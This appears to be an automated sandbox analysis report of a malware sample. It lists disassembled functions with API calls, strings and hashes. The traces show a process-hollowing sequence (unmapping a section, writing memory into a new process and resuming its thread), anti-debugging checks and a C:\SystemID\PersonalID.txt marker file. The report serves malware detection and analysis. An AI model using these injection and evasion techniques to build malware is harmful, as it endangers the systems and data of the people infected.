Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00690000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2060586302.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2060586302.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Analysis Process: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exePID: 320, Parent PID: 2568COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	37
Total number of Limit Nodes:	8

Executed Functions

Function 022F0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 022F0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 022F016C
CreateProcessA.KERNELBASE(?,00000000), ref: 022F0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 022F0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 022F0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 022F029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022F02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022F02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 022F0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 022F032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 022F0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022F03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022F03E1
ResumeThread.KERNELBASE(00000000), ref: 022F03ED
ExitProcess.KERNEL32(00000000), ref: 022F0412

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: bc7b60e7097138c40971185e3ea368d9b5e7eff50ea85e87f1b9f86fa71d1eb9
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: F8B1D874A00209AFDB44CF98C895F9EBBB5FF88314F248158E608AB395D771AE41CF94

Function 022F0420 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32(00000030), ref: 022F04F1
CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 022F0533

Strings

mfoaskdfnoa, xrefs: 022F0520, 022F0523
d, xrefs: 022F0584
saodkfnosa9uin, xrefs: 022F04DA
0, xrefs: 022F0492

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ClassCreateRegisterWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 3469048531-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 16dcf1e85ae7b765c4f5ceb98a7433d3061785618e0ca39bdddb2497d9e18af6
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 46511870D08388DAEB11CBE8C849BDDBFB6AF11708F144058D5447F28AC7FA5659CB66

Function 022F05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022F05EC

Strings

o, xrefs: 022F0600
apfHQ, xrefs: 022F05E2, 022F05E5

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: ff7f1b7bf9695e6786e73eb838b6faf796049089e2a73467555257c3b0283d5a
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 3A011E70C0425DEADB50DBD8C5183AEFFB5AF41308F1480A9C5092B246D7B69B59CBA1

Function 0225D7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0225D7EE
Module32First.KERNEL32(00000000,00000224), ref: 0225D80E

Memory Dump Source

Source File: 00000005.00000002.2081428261.000000000225D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0225D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_225d000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 244d0a9f7e35ee559704623685b255e477a3af07085b67000bf2d799d32e29b4
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: C8F096312107216FD7203BF5A88DBAE76ECEF49625F504628EA42D50C4DB74E8468A61

Function 0225D485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0225D4D6

Memory Dump Source

Source File: 00000005.00000002.2081428261.000000000225D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0225D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_225d000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d91c98a48e0a1a9dc77e7d0e8fca55dd6f113c415dc5a577eb0662603c102f90
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A2113979A00208EFDB01DF98C985E99BBF5AF08350F05C0A4F9489B361D371EA90EF80

Non-executed Functions

Function 02316437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0231644E

Part of subcall function 02319636: __calloc_impl.LIBCMT ref: 02319645

__calloc_crt.LIBCMT ref: 02316472
_free.LIBCMT ref: 02316480
__calloc_crt.LIBCMT ref: 0231648E
_free.LIBCMT ref: 0231649E
_free.LIBCMT ref: 023164A4
__copytlocinfo_nolock.LIBCMT ref: 023164B3
__setmbcp_nolock.LIBCMT ref: 023164D4
_free.LIBCMT ref: 023164E2
___removelocaleref.LIBCMT ref: 023164E9
___freetlocinfo.LIBCMT ref: 023164F0
_free.LIBCMT ref: 023164F6

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 4463f19b43992791dad31734b73ee597d19339c31023951a20a3667ab2b3bee2
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: A921D231204601AEEB3D7FA5DC03E5F7BEEDF81760B508029E589554A4EF628950CF60

Function 02313F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02313F51

Part of subcall function 02315BA8: __getptd_noexit.LIBCMT ref: 02315BA8

__gmtime64_s.LIBCMT ref: 02313FEA
__gmtime64_s.LIBCMT ref: 02314020
__gmtime64_s.LIBCMT ref: 0231403D
__allrem.LIBCMT ref: 02314093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023140AF
__allrem.LIBCMT ref: 023140C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023140E4
__allrem.LIBCMT ref: 023140FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02314119
__invoke_watson.LIBCMT ref: 0231418A

Memory Dump Source

Source File: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_22f0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
